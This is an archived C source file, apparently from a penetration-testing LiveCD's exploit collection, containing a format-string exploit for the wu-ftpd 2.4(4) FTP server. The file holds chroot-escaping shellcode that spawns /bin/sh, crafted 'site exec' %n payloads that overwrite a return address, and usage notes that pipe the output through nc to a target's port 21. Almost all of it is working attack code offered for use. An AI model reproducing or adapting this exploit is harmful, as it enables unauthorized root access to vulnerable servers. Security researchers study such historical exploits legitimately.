home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wu-ftpd-v2.4(4).c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  73 lines

  1. /*
  2.  * Sample example - part 2: wu-ftpd v2.4(4), exploitation.
  3.  *
  4.  * usage:
  5.  *  1) find the right address location/eggshell location
  6.  *     this is easy with a little play around %s and hexdump.
  7.  *     Then, fix this exploit.
  8.  *
  9.  *  2) (echo "user ftp"; ./exploit; cat) | nc host 21
  10.  *
  11.  *      echo ^[c to clear your screen if needed.
  12.  *
  13.  *  Don't forget 0xff must be escaped with 0xff.
  14.  *
  15.  *               Pascal Bouchareine [ kalou <pb@grolier.fr> ]
  16.  */
  17.  
  18. main()
  19. {
  20.   char b1[255];
  21.   char b2[255];
  22.   char b3[255];
  23.   char b4[255];
  24.   char xx[600];
  25.   int  i;
  26.  
  27.   char egg[]= /* Lam3rZ chroot() code */
  28.    "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  29.    "\x43\x89\xd9\x41\xb0\x3f\xcd\x80"
  30.    "\xeb\x6b\x5e\x31\xc0\x31"
  31.    "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
  32.    "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
  33.    "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
  34.    "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
  35.    "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
  36.    "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  37.    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
  38.    "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
  39.    "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
  40.  
  41. //  ( (void (*)()) egg)();
  42.  
  43.   memset(b1, 0, 255);
  44.   memset(b2, 0, 255);
  45.   memset(b3, 0, 255);
  46.   memset(b4, 0, 255);
  47.   memset(xx, 0, 513);
  48.  
  49.   for (i = 0; i < 20 ; i += 2) { /* setup up the 10 %x to eat stack space */
  50.     strcpy(&xx[i], "%x");
  51.   }
  52.  
  53.   memset(b1, '\x90', 0xa3 - 0x50);
  54.   memset(b2, '\x90', 0xfe - 0xa3 - 2);
  55.   memset(b3, '\x90', 0xff - 0xfe);
  56.   memset(b4, '\x90', 0x01bf - 0xff);     // build ret address here.
  57.                        // i found 0xbffffea3
  58.  
  59.   printf("pass %s@oonanism.com\n", egg);
  60.   printf("site exec .."
  61.          "\x64\xf9\xff\xff\xbf"  // insert ret location there.
  62.          "\x65\xf9\xff\xff\xbf"  // i had 0xbffff964
  63.          "\x66\xf9\xff\xff\xbf"
  64.          "\x67\xf9\xff\xff\xbf"
  65.          "%s"
  66.          "%s\xeb\x02%%n"
  67.          "%s\xeb\x02%%n"
  68.          "%s%%n"
  69.          "%s%%n\n"
  70.          , xx, b1, b2, b3, b4);
  71.  
  72. }
  73. /*                    www.hack.co.za           [19 July 2000]*/